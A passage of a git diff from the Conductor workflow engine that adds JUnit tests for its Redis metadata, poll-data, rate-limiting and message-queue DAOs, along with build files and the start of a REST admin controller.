assertFalse(latestDef.isPresent()); + + WorkflowDef[] workflowDefsArray = new WorkflowDef[3]; + for (int i = 1; i <= 3; i++) { + workflowDefsArray[i - 1] = new WorkflowDef(); + workflowDefsArray[i - 1].setName("test"); + workflowDefsArray[i - 1].setVersion(i); + workflowDefsArray[i - 1].setDescription("description"); + workflowDefsArray[i - 1].setCreatedBy("unit_test"); + workflowDefsArray[i - 1].setCreateTime(1L); + workflowDefsArray[i - 1].setOwnerApp("ownerApp"); + workflowDefsArray[i - 1].setUpdatedBy("unit_test2"); + workflowDefsArray[i - 1].setUpdateTime(2L); + redisMetadataDAO.createWorkflowDef(workflowDefsArray[i - 1]); + } + redisMetadataDAO.removeWorkflowDef("test", 1); + redisMetadataDAO.removeWorkflowDef("test", 2); + WorkflowDef workflow = redisMetadataDAO.getLatestWorkflowDef("test").get(); + assertEquals(3, workflow.getVersion()); + } + + @Test + void testGetAllWorkflowDefsLatestVersions() { + WorkflowDef def = new WorkflowDef(); + def.setName("test1"); + def.setVersion(1); + def.setDescription("description"); + def.setCreatedBy("unit_test"); + def.setCreateTime(1L); + def.setOwnerApp("ownerApp"); + def.setUpdatedBy("unit_test2"); + def.setUpdateTime(2L); + redisMetadataDAO.createWorkflowDef(def); + + def.setName("test2"); + redisMetadataDAO.createWorkflowDef(def); + def.setVersion(2); + redisMetadataDAO.createWorkflowDef(def); + + def.setName("test3"); + def.setVersion(1); + redisMetadataDAO.createWorkflowDef(def); + def.setVersion(2); + redisMetadataDAO.createWorkflowDef(def); + def.setVersion(3); + redisMetadataDAO.createWorkflowDef(def); + + Map allMap = + redisMetadataDAO.getAllWorkflowDefsLatestVersions().stream() + .collect(Collectors.toMap(WorkflowDef::getName, Function.identity())); + + assertNotNull(allMap); + assertEquals(3, allMap.size()); + assertEquals(1, allMap.get("test1").getVersion()); + assertEquals(2, allMap.get("test2").getVersion()); + assertEquals(3, allMap.get("test3").getVersion()); + } + + @Test + void removeInvalidWorkflowDef() { + assertThrows(NotFoundException.class, () -> redisMetadataDAO.removeWorkflowDef("hello", 1)); + } + + @Test + void testTaskDefOperations() { + TaskDef def = new TaskDef("taskA"); + def.setDescription("description"); + def.setCreatedBy("unit_test"); + def.setCreateTime(1L); + def.setInputKeys(Arrays.asList("a", "b", "c")); + def.setOutputKeys(Arrays.asList("01", "o2")); + def.setOwnerApp("ownerApp"); + def.setRetryCount(3); + def.setRetryDelaySeconds(100); + def.setRetryLogic(RetryLogic.FIXED); + def.setTimeoutPolicy(TimeoutPolicy.ALERT_ONLY); + def.setUpdatedBy("unit_test2"); + def.setUpdateTime(2L); + def.setRateLimitPerFrequency(50); + def.setRateLimitFrequencyInSeconds(1); + + redisMetadataDAO.createTaskDef(def); + + TaskDef found = redisMetadataDAO.getTaskDef(def.getName()); + assertEquals(def, found); + + def.setDescription("updated description"); + redisMetadataDAO.updateTaskDef(def); + found = redisMetadataDAO.getTaskDef(def.getName()); + assertEquals(def, found); + assertEquals("updated description", found.getDescription()); + + for (int i = 0; i < 9; i++) { + TaskDef tdf = new TaskDef("taskA" + i); + redisMetadataDAO.createTaskDef(tdf); + } + + List all = redisMetadataDAO.getAllTaskDefs(); + assertNotNull(all); + assertEquals(10, all.size()); + Set allnames = all.stream().map(TaskDef::getName).collect(Collectors.toSet()); + assertEquals(10, allnames.size()); + List sorted = allnames.stream().sorted().collect(Collectors.toList()); + assertEquals(def.getName(), sorted.get(0)); + + for (int i = 0; i < 9; i++) { + assertEquals(def.getName() + i, sorted.get(i + 1)); + } + + for (int i = 0; i < 9; i++) { + redisMetadataDAO.removeTaskDef(def.getName() + i); + } + all = redisMetadataDAO.getAllTaskDefs(); + assertNotNull(all); + assertEquals(1, all.size()); + assertEquals(def.getName(), all.get(0).getName()); + } + + @Test + void testRemoveTaskDef() { + assertThrows( + NotFoundException.class, + () -> redisMetadataDAO.removeTaskDef("test" + UUID.randomUUID())); + } + + @Test + void testDefaultsAreSetForResponseTimeout() { + TaskDef def = new TaskDef("taskA"); + def.setDescription("description"); + def.setCreatedBy("unit_test"); + def.setCreateTime(1L); + def.setInputKeys(Arrays.asList("a", "b", "c")); + def.setOutputKeys(Arrays.asList("01", "o2")); + def.setOwnerApp("ownerApp"); + def.setRetryCount(3); + def.setRetryDelaySeconds(100); + def.setRetryLogic(RetryLogic.FIXED); + def.setTimeoutPolicy(TimeoutPolicy.ALERT_ONLY); + def.setUpdatedBy("unit_test2"); + def.setUpdateTime(2L); + def.setRateLimitPerFrequency(50); + def.setRateLimitFrequencyInSeconds(1); + def.setResponseTimeoutSeconds(0); + + redisMetadataDAO.createTaskDef(def); + + TaskDef found = redisMetadataDAO.getTaskDef(def.getName()); + assertEquals(3600, found.getResponseTimeoutSeconds()); + found.setTimeoutSeconds(200); + found.setResponseTimeoutSeconds(0); + redisMetadataDAO.updateTaskDef(found); + TaskDef foundNew = redisMetadataDAO.getTaskDef(def.getName()); + assertEquals(199, foundNew.getResponseTimeoutSeconds()); + } + + @Test + void testGetWorkflowDefNotFound() { + Optional result = redisMetadataDAO.getWorkflowDef("nonexistent", 1); + assertFalse(result.isPresent()); + } + + @Test + void testGetLatestWorkflowDefNotFound() { + Optional result = redisMetadataDAO.getLatestWorkflowDef("nonexistent"); + assertFalse(result.isPresent()); + } + + @Test + void testGetTaskDefNotFound() { + TaskDef result = redisMetadataDAO.getTaskDef("nonexistent"); + assertNull(result); + } + + @Test + void testUpdateWorkflowDef() { + WorkflowDef def = new WorkflowDef(); + def.setName("update_test"); + def.setVersion(1); + def.setDescription("original"); + + redisMetadataDAO.createWorkflowDef(def); + + def.setDescription("updated"); + redisMetadataDAO.updateWorkflowDef(def); + + WorkflowDef found = redisMetadataDAO.getWorkflowDef("update_test", 1).get(); + assertEquals("updated", found.getDescription()); + } + + @Test + void testFindAll() { + for (int i = 0; i < 3; i++) { + WorkflowDef def = new WorkflowDef(); + def.setName("wf_" + i); + def.setVersion(1); + redisMetadataDAO.createWorkflowDef(def); + } + + List names = redisMetadataDAO.findAll(); + assertEquals(3, names.size()); + } + + private RedisMetadataDAO newCacheEnabledDAO() { + JedisProxy jedisProxy = new JedisProxy(new JedisStandalone(jedisPool)); + ObjectMapper objectMapper = new ObjectMapperProvider().getObjectMapper(); + ConductorProperties conductorProperties = new ConductorProperties(); + RedisProperties redisProperties = new RedisProperties(conductorProperties); + redisProperties.setWorkflowDefCacheEnabled(true); + return new RedisMetadataDAO(jedisProxy, objectMapper, conductorProperties, redisProperties); + } + + @Test + void testWorkflowDefCacheReflectsCreateAndRemove() { + RedisMetadataDAO dao = newCacheEnabledDAO(); + assertEquals(0, dao.getAllWorkflowDefs().size()); + + WorkflowDef def = new WorkflowDef(); + def.setName("cachedWf"); + def.setVersion(1); + dao.createWorkflowDef(def); + + List all = dao.getAllWorkflowDefs(); + assertEquals(1, all.size()); + assertEquals("cachedWf", all.get(0).getName()); + + dao.removeWorkflowDef("cachedWf", 1); + assertEquals(0, dao.getAllWorkflowDefs().size()); + } + + @Test + void testGetAllWorkflowDefsLatestVersionsFromCache() { + RedisMetadataDAO dao = newCacheEnabledDAO(); + for (int version = 1; version <= 3; version++) { + WorkflowDef def = new WorkflowDef(); + def.setName("wfA"); + def.setVersion(version); + dao.createWorkflowDef(def); + } + WorkflowDef defB = new WorkflowDef(); + defB.setName("wfB"); + defB.setVersion(1); + dao.createWorkflowDef(defB); + + Map latestByName = + dao.getAllWorkflowDefsLatestVersions().stream() + .collect(Collectors.toMap(WorkflowDef::getName, d -> d)); + + assertEquals(2, latestByName.size()); + assertEquals(3, latestByName.get("wfA").getVersion()); + assertEquals(1, latestByName.get("wfB").getVersion()); + } +} diff --git a/redis-persistence/src/test/java/com/netflix/conductor/redis/dao/RedisPollDataDAOTest.java b/redis-persistence/src/test/java/com/netflix/conductor/redis/dao/RedisPollDataDAOTest.java new file mode 100644 index 0000000..70cd9b5 --- /dev/null +++ b/redis-persistence/src/test/java/com/netflix/conductor/redis/dao/RedisPollDataDAOTest.java @@ -0,0 +1,161 @@ +/* + * Copyright 2021 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.redis.dao; + +import java.util.List; + +import org.junit.AfterClass; +import org.junit.Before; +import org.junit.BeforeClass; +import org.junit.Test; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.utility.DockerImageName; + +import com.netflix.conductor.common.config.ObjectMapperProvider; +import com.netflix.conductor.common.metadata.tasks.PollData; +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.dao.PollDataDAO; +import com.netflix.conductor.dao.PollDataDAOTest; +import com.netflix.conductor.redis.config.RedisProperties; +import com.netflix.conductor.redis.jedis.JedisProxy; +import com.netflix.conductor.redis.jedis.JedisStandalone; + +import com.fasterxml.jackson.databind.ObjectMapper; +import redis.clients.jedis.Jedis; +import redis.clients.jedis.JedisPool; +import redis.clients.jedis.JedisPoolConfig; + +import static org.junit.Assert.*; + +public class RedisPollDataDAOTest extends PollDataDAOTest { + + private static final GenericContainer redis = + new GenericContainer<>(DockerImageName.parse("redis:7-alpine")).withExposedPorts(6379); + + private static RedisPollDataDAO redisPollDataDAO; + private static JedisPool jedisPool; + + @BeforeClass + public static void startRedis() { + redis.start(); + + JedisPoolConfig config = new JedisPoolConfig(); + config.setMinIdle(2); + config.setMaxTotal(10); + + jedisPool = new JedisPool(config, redis.getHost(), redis.getFirstMappedPort()); + JedisProxy jedisProxy = new JedisProxy(new JedisStandalone(jedisPool)); + ObjectMapper objectMapper = new ObjectMapperProvider().getObjectMapper(); + ConductorProperties conductorProperties = new ConductorProperties(); + RedisProperties redisProperties = new RedisProperties(conductorProperties); + + redisPollDataDAO = + new RedisPollDataDAO( + jedisProxy, objectMapper, conductorProperties, redisProperties); + } + + @AfterClass + public static void stopRedis() { + redis.stop(); + } + + @Before + public void cleanUp() { + try (Jedis jedis = jedisPool.getResource()) { + jedis.flushAll(); + } + } + + @Override + protected PollDataDAO getPollDataDAO() { + return redisPollDataDAO; + } + + @Test + public void testPollDataMultipleWorkers() { + redisPollDataDAO.updateLastPollData("taskDef1", null, "worker1"); + redisPollDataDAO.updateLastPollData("taskDef1", null, "worker2"); + redisPollDataDAO.updateLastPollData("taskDef1", "domain1", "worker1"); + + List pollDataResult = redisPollDataDAO.getPollData("taskDef1"); + assertNotNull(pollDataResult); + // 2 entries: one for DEFAULT (last writer wins for same domain), one for domain1 + assertEquals(2, pollDataResult.size()); + } + + @Test + public void testPollDataMultipleTasks() { + redisPollDataDAO.updateLastPollData("taskA", null, "worker1"); + redisPollDataDAO.updateLastPollData("taskB", null, "worker1"); + redisPollDataDAO.updateLastPollData("taskC", null, "worker1"); + + assertEquals(1, redisPollDataDAO.getPollData("taskA").size()); + assertEquals(1, redisPollDataDAO.getPollData("taskB").size()); + assertEquals(1, redisPollDataDAO.getPollData("taskC").size()); + } + + @Test + public void testPollDataUpdate() { + redisPollDataDAO.updateLastPollData("taskDef2", null, "worker1"); + PollData first = redisPollDataDAO.getPollData("taskDef2", null); + assertNotNull(first); + long firstPollTime = first.getLastPollTime(); + + // Small delay to ensure time difference + try { + Thread.sleep(10); + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + } + + redisPollDataDAO.updateLastPollData("taskDef2", null, "worker2"); + PollData second = redisPollDataDAO.getPollData("taskDef2", null); + assertNotNull(second); + assertTrue(second.getLastPollTime() >= firstPollTime); + assertEquals("worker2", second.getWorkerId()); + } + + @Test + public void testPollDataWithDomains() { + redisPollDataDAO.updateLastPollData("taskDef3", "domain1", "worker1"); + redisPollDataDAO.updateLastPollData("taskDef3", "domain2", "worker2"); + redisPollDataDAO.updateLastPollData("taskDef3", null, "worker3"); + + PollData d1 = redisPollDataDAO.getPollData("taskDef3", "domain1"); + assertNotNull(d1); + assertEquals("domain1", d1.getDomain()); + assertEquals("worker1", d1.getWorkerId()); + + PollData d2 = redisPollDataDAO.getPollData("taskDef3", "domain2"); + assertNotNull(d2); + assertEquals("domain2", d2.getDomain()); + assertEquals("worker2", d2.getWorkerId()); + + PollData defaultDomain = redisPollDataDAO.getPollData("taskDef3", null); + assertNotNull(defaultDomain); + assertEquals("worker3", defaultDomain.getWorkerId()); + + List all = redisPollDataDAO.getPollData("taskDef3"); + assertEquals(3, all.size()); + } + + @Test + public void testPollDataNonExistent() { + PollData result = redisPollDataDAO.getPollData("nonexistent_task", null); + assertNull(result); + + List results = redisPollDataDAO.getPollData("nonexistent_task"); + assertNotNull(results); + assertTrue(results.isEmpty()); + } +} diff --git a/redis-persistence/src/test/java/com/netflix/conductor/redis/dao/RedisRateLimitDAOTest.java b/redis-persistence/src/test/java/com/netflix/conductor/redis/dao/RedisRateLimitDAOTest.java new file mode 100644 index 0000000..fdaeda5 --- /dev/null +++ b/redis-persistence/src/test/java/com/netflix/conductor/redis/dao/RedisRateLimitDAOTest.java @@ -0,0 +1,217 @@ +/* + * Copyright 2021 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.redis.dao; + +import java.util.UUID; +import java.util.concurrent.TimeUnit; + +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.api.BeforeAll; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.TestInstance; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.utility.DockerImageName; + +import com.netflix.conductor.common.config.ObjectMapperProvider; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.redis.config.RedisProperties; +import com.netflix.conductor.redis.jedis.JedisProxy; +import com.netflix.conductor.redis.jedis.JedisStandalone; + +import com.fasterxml.jackson.databind.ObjectMapper; +import redis.clients.jedis.Jedis; +import redis.clients.jedis.JedisPool; +import redis.clients.jedis.JedisPoolConfig; + +import static org.awaitility.Awaitility.await; +import static org.junit.jupiter.api.Assertions.*; + +@TestInstance(TestInstance.Lifecycle.PER_CLASS) +class RedisRateLimitDAOTest { + + private static final GenericContainer redis = + new GenericContainer<>(DockerImageName.parse("redis:7-alpine")).withExposedPorts(6379); + + private RedisRateLimitingDAO rateLimitingDao; + private JedisPool jedisPool; + + @BeforeAll + void setUp() { + redis.start(); + + JedisPoolConfig config = new JedisPoolConfig(); + config.setMinIdle(2); + config.setMaxTotal(10); + + jedisPool = new JedisPool(config, redis.getHost(), redis.getFirstMappedPort()); + JedisProxy jedisProxy = new JedisProxy(new JedisStandalone(jedisPool)); + ObjectMapper objectMapper = new ObjectMapperProvider().getObjectMapper(); + ConductorProperties conductorProperties = new ConductorProperties(); + RedisProperties redisProperties = new RedisProperties(conductorProperties); + + rateLimitingDao = + new RedisRateLimitingDAO( + jedisProxy, objectMapper, conductorProperties, redisProperties); + } + + @BeforeEach + void cleanUp() { + try (Jedis jedis = jedisPool.getResource()) { + jedis.flushAll(); + } + } + + @AfterAll + void tearDown() { + redis.stop(); + } + + @Test + void testExceedsRateLimitWhenNoRateLimitSet() { + TaskDef taskDef = new TaskDef("TestTaskDefinition" + UUID.randomUUID()); + TaskModel task = new TaskModel(); + task.setTaskId(UUID.randomUUID().toString()); + task.setTaskDefName(taskDef.getName()); + assertFalse(rateLimitingDao.exceedsRateLimitPerFrequency(task, taskDef)); + } + + @Test + void testExceedsRateLimitWithinLimit() { + TaskDef taskDef = new TaskDef("TestTaskDefinition" + UUID.randomUUID()); + taskDef.setRateLimitFrequencyInSeconds(60); + taskDef.setRateLimitPerFrequency(20); + TaskModel task = new TaskModel(); + task.setTaskId(UUID.randomUUID().toString()); + task.setTaskDefName(taskDef.getName()); + assertFalse(rateLimitingDao.exceedsRateLimitPerFrequency(task, taskDef)); + } + + @Test + void testExceedsRateLimitOutOfLimit() { + TaskDef taskDef = new TaskDef("TestTaskDefinition" + UUID.randomUUID()); + taskDef.setRateLimitFrequencyInSeconds(60); + taskDef.setRateLimitPerFrequency(1); + TaskModel task = new TaskModel(); + task.setTaskId(UUID.randomUUID().toString()); + task.setTaskDefName(taskDef.getName()); + assertFalse(rateLimitingDao.exceedsRateLimitPerFrequency(task, taskDef)); + assertTrue(rateLimitingDao.exceedsRateLimitPerFrequency(task, taskDef)); + } + + @Test + void testExceedsRateLimitWithinLimitMultipleCalls() { + TaskDef taskDef = new TaskDef("TestTaskDefinition" + UUID.randomUUID()); + taskDef.setRateLimitFrequencyInSeconds(3); + taskDef.setRateLimitPerFrequency(3); + TaskModel task = new TaskModel(); + task.setTaskId(UUID.randomUUID().toString()); + task.setTaskDefName(taskDef.getName()); + + // First 3 calls should be within limit + assertFalse(rateLimitingDao.exceedsRateLimitPerFrequency(task, taskDef)); + assertFalse(rateLimitingDao.exceedsRateLimitPerFrequency(task, taskDef)); + assertFalse(rateLimitingDao.exceedsRateLimitPerFrequency(task, taskDef)); + + // 4th call should exceed limit + assertTrue(rateLimitingDao.exceedsRateLimitPerFrequency(task, taskDef)); + assertTrue(rateLimitingDao.exceedsRateLimitPerFrequency(task, taskDef)); + + // Wait for window to expire (the successful await check consumes 1 of 3 allowed) + await().atMost(6, TimeUnit.SECONDS) + .pollInterval(500, TimeUnit.MILLISECONDS) + .until(() -> !rateLimitingDao.exceedsRateLimitPerFrequency(task, taskDef)); + + // Should be within limit again (2 remaining after await consumed 1) + assertFalse(rateLimitingDao.exceedsRateLimitPerFrequency(task, taskDef)); + assertFalse(rateLimitingDao.exceedsRateLimitPerFrequency(task, taskDef)); + assertTrue(rateLimitingDao.exceedsRateLimitPerFrequency(task, taskDef)); + } + + @Test + void testExceedsRateLimitWithNullTaskDef() { + TaskModel task = new TaskModel(); + task.setTaskId(UUID.randomUUID().toString()); + task.setTaskDefName("task_with_null_def"); + // When taskDef is null and task has no rate limit set, should not be rate limited + assertFalse(rateLimitingDao.exceedsRateLimitPerFrequency(task, null)); + } + + @Test + void testExceedsRateLimitWithZeroValues() { + TaskDef taskDef = new TaskDef("TestTaskDefinition" + UUID.randomUUID()); + taskDef.setRateLimitFrequencyInSeconds(0); + taskDef.setRateLimitPerFrequency(0); + TaskModel task = new TaskModel(); + task.setTaskId(UUID.randomUUID().toString()); + task.setTaskDefName(taskDef.getName()); + // Zero rate limit values mean no rate limiting + assertFalse(rateLimitingDao.exceedsRateLimitPerFrequency(task, taskDef)); + } + + @Test + void testRateLimitIsolationBetweenTaskTypes() { + TaskDef taskDefA = new TaskDef("TaskTypeA_" + UUID.randomUUID()); + taskDefA.setRateLimitFrequencyInSeconds(60); + taskDefA.setRateLimitPerFrequency(1); + + TaskDef taskDefB = new TaskDef("TaskTypeB_" + UUID.randomUUID()); + taskDefB.setRateLimitFrequencyInSeconds(60); + taskDefB.setRateLimitPerFrequency(1); + + TaskModel taskA = new TaskModel(); + taskA.setTaskId(UUID.randomUUID().toString()); + taskA.setTaskDefName(taskDefA.getName()); + + TaskModel taskB = new TaskModel(); + taskB.setTaskId(UUID.randomUUID().toString()); + taskB.setTaskDefName(taskDefB.getName()); + + // Rate limiting A should not affect B + assertFalse(rateLimitingDao.exceedsRateLimitPerFrequency(taskA, taskDefA)); + assertTrue(rateLimitingDao.exceedsRateLimitPerFrequency(taskA, taskDefA)); + + // B should still be within limit + assertFalse(rateLimitingDao.exceedsRateLimitPerFrequency(taskB, taskDefB)); + assertTrue(rateLimitingDao.exceedsRateLimitPerFrequency(taskB, taskDefB)); + } + + @Test + void testExceedsRateLimitPostponeDuration() { + TaskDef taskDef = new TaskDef("TestTaskDefinition" + UUID.randomUUID()); + taskDef.setRateLimitFrequencyInSeconds(60); + taskDef.setRateLimitPerFrequency(1); + TaskModel task = new TaskModel(); + task.setTaskId(UUID.randomUUID().toString()); + task.setTaskDefName(taskDef.getName()); + assertFalse(rateLimitingDao.exceedsRateLimitPerFrequency(task, taskDef)); + assertTrue(rateLimitingDao.exceedsRateLimitPerFrequency(task, taskDef)); + } + + @Test + void testExceedsRateLimitPostponeDurationWithDelay() { + TaskDef taskDef = new TaskDef("TestTaskDefinition" + UUID.randomUUID()); + taskDef.setRateLimitFrequencyInSeconds(13); + taskDef.setRateLimitPerFrequency(1); + TaskModel task = new TaskModel(); + task.setTaskId(UUID.randomUUID().toString()); + task.setTaskDefName(taskDef.getName()); + assertFalse(rateLimitingDao.exceedsRateLimitPerFrequency(task, taskDef)); + await().atMost(5, TimeUnit.SECONDS) + .pollInterval(500, TimeUnit.MILLISECONDS) + .until(() -> rateLimitingDao.exceedsRateLimitPerFrequency(task, taskDef)); + assertTrue(rateLimitingDao.exceedsRateLimitPerFrequency(task, taskDef)); + } +} diff --git a/redis-persistence/src/test/java/com/netflix/conductor/redis/dao/RedisWorkflowMessageQueueDAOTest.java b/redis-persistence/src/test/java/com/netflix/conductor/redis/dao/RedisWorkflowMessageQueueDAOTest.java new file mode 100644 index 0000000..24693bd --- /dev/null +++ b/redis-persistence/src/test/java/com/netflix/conductor/redis/dao/RedisWorkflowMessageQueueDAOTest.java @@ -0,0 +1,121 @@ +/* + * Copyright 2024 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.redis.dao; + +import java.util.Collections; +import java.util.List; +import java.util.Map; + +import org.junit.Before; +import org.junit.Test; + +import com.netflix.conductor.common.model.WorkflowMessage; +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.core.config.WorkflowMessageQueueProperties; +import com.netflix.conductor.redis.config.RedisProperties; +import com.netflix.conductor.redis.jedis.JedisProxy; + +import com.fasterxml.jackson.databind.ObjectMapper; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertTrue; +import static org.mockito.ArgumentMatchers.anyLong; +import static org.mockito.ArgumentMatchers.anyString; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.verify; +import static org.mockito.Mockito.when; + +public class RedisWorkflowMessageQueueDAOTest { + + private JedisProxy jedisProxy; + private WorkflowMessageQueueProperties wmqProperties; + private RedisWorkflowMessageQueueDAO dao; + + @Before + public void setUp() { + jedisProxy = mock(JedisProxy.class); + wmqProperties = new WorkflowMessageQueueProperties(); + wmqProperties.setMaxQueueSize(10); + wmqProperties.setTtlSeconds(3600); + + ObjectMapper objectMapper = new ObjectMapper(); + ConductorProperties conductorProperties = mock(ConductorProperties.class); + RedisProperties redisProperties = mock(RedisProperties.class); + + dao = + new RedisWorkflowMessageQueueDAO( + jedisProxy, + objectMapper, + conductorProperties, + redisProperties, + wmqProperties); + } + + @Test + public void testPushInvokesRpushAndExpire() { + when(jedisProxy.llen(anyString())).thenReturn(0L); + + WorkflowMessage msg = new WorkflowMessage("id1", "wf1", Map.of("key", "value"), "now"); + dao.push("wf1", msg); + + verify(jedisProxy).rpush(anyString(), anyString()); + verify(jedisProxy).expire(anyString(), anyLong()); + } + + @Test(expected = IllegalStateException.class) + public void testPushRejectsWhenQueueFull() { + when(jedisProxy.llen(anyString())).thenReturn(10L); + WorkflowMessage msg = new WorkflowMessage("id1", "wf1", null, "now"); + dao.push("wf1", msg); + } + + @Test + public void testPopReturnsDeserializedMessages() throws Exception { + ObjectMapper om = new ObjectMapper(); + WorkflowMessage msg = new WorkflowMessage("id1", "wf1", Map.of("k", "v"), "now"); + String json = om.writeValueAsString(msg); + + when(jedisProxy.lrange(anyString(), anyLong(), anyLong())) + .thenReturn(Collections.singletonList(json)); + + List result = dao.pop("wf1", 5); + + assertEquals(1, result.size()); + assertEquals("id1", result.get(0).getId()); + assertNotNull(result.get(0).getPayload()); + verify(jedisProxy).ltrim(anyString(), anyLong(), anyLong()); + } + + @Test + public void testPopEmptyQueueReturnsEmptyList() { + when(jedisProxy.lrange(anyString(), anyLong(), anyLong())) + .thenReturn(Collections.emptyList()); + + List result = dao.pop("wf1", 5); + + assertTrue(result.isEmpty()); + } + + @Test + public void testSizeDelegatesToLlen() { + when(jedisProxy.llen(anyString())).thenReturn(7L); + assertEquals(7L, dao.size("wf1")); + } + + @Test + public void testDeleteDelegatesToDel() { + dao.delete("wf1"); + verify(jedisProxy).del(anyString()); + } +} diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..070b901 --- /dev/null +++ b/requirements.txt @@ -0,0 +1,3 @@ +mkdocs +mkdocs-material +mkdocs-macros-plugin \ No newline at end of file diff --git a/rest/build.gradle b/rest/build.gradle new file mode 100644 index 0000000..d56f705 --- /dev/null +++ b/rest/build.gradle @@ -0,0 +1,13 @@ +dependencies { + + implementation project(':conductor-common') + implementation project(':conductor-core') + + implementation 'org.springframework.boot:spring-boot-starter-web' + implementation "com.netflix.runtime:health-api:${revHealth}" + + implementation "io.projectreactor.netty:reactor-netty-http:${revReactor}" + implementation "org.springdoc:springdoc-openapi-starter-webmvc-ui:${revSpringDoc}" + + testImplementation "io.projectreactor:reactor-test:3.5.11" +} diff --git a/rest/src/main/java/com/netflix/conductor/rest/config/RequestMappingConstants.java b/rest/src/main/java/com/netflix/conductor/rest/config/RequestMappingConstants.java new file mode 100644 index 0000000..7332790 --- /dev/null +++ b/rest/src/main/java/com/netflix/conductor/rest/config/RequestMappingConstants.java @@ -0,0 +1,30 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.rest.config; + +public interface RequestMappingConstants { + + String API_PREFIX = "/api/"; + + String ADMIN = API_PREFIX + "admin"; + String EVENT = API_PREFIX + "event"; + String METADATA = API_PREFIX + "metadata"; + String QUEUE = API_PREFIX + "queue"; + String TASKS = API_PREFIX + "tasks"; + String WORKFLOW_BULK = API_PREFIX + "workflow/bulk"; + String WORKFLOW = API_PREFIX + "workflow"; + String VERSION = API_PREFIX + "version"; + String FILES = API_PREFIX + "files"; + String ENVIRONMENT = API_PREFIX + "environment"; + String SECRETS = API_PREFIX + "secrets"; +} diff --git a/rest/src/main/java/com/netflix/conductor/rest/controllers/AdminResource.java b/rest/src/main/java/com/netflix/conductor/rest/controllers/AdminResource.java new file mode 100644 index 0000000..bb1c6a6 --- /dev/null +++ b/rest/src/main/java/com/netflix/conductor/rest/controllers/AdminResource.java @@ -0,0 +1,79 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.rest.controllers; + +import java.util.List; +import java.util.Map; + +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.RestController; + +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.service.AdminService; + +import io.swagger.v3.oas.annotations.Operation; + +import static com.netflix.conductor.rest.config.RequestMappingConstants.ADMIN; + +import static org.springframework.http.MediaType.TEXT_PLAIN_VALUE; + +@RestController +@RequestMapping(ADMIN) +public class AdminResource { + + private final AdminService adminService; + + public AdminResource(AdminService adminService) { + this.adminService = adminService; + } + + @Operation(summary = "Get all the configuration parameters") + @GetMapping("/config") + public Map getAllConfig() { + return adminService.getAllConfig(); + } + + @GetMapping("/task/{tasktype}") + @Operation(summary = "Get the list of pending tasks for a given task type") + public List view( + @PathVariable("tasktype") String taskType, + @RequestParam(value = "start", defaultValue = "0", required = false) int start, + @RequestParam(value = "count", defaultValue = "100", required = false) int count) { + return adminService.getListOfPendingTask(taskType, start, count); + } + + @PostMapping(value = "/sweep/requeue/{workflowId}", produces = TEXT_PLAIN_VALUE) + @Operation(summary = "Queue up all the running workflows for sweep") + public String requeueSweep(@PathVariable("workflowId") String workflowId) { + return adminService.requeueSweep(workflowId); + } + + @PostMapping(value = "/consistency/verifyAndRepair/{workflowId}", produces = TEXT_PLAIN_VALUE) + @Operation(summary = "Verify and repair workflow consistency") + public String verifyAndRepairWorkflowConsistency( + @PathVariable("workflowId") String workflowId) { + return String.valueOf(adminService.verifyAndRepairWorkflowConsistency(workflowId)); + } + + @GetMapping("/queues") + @Operation(summary = 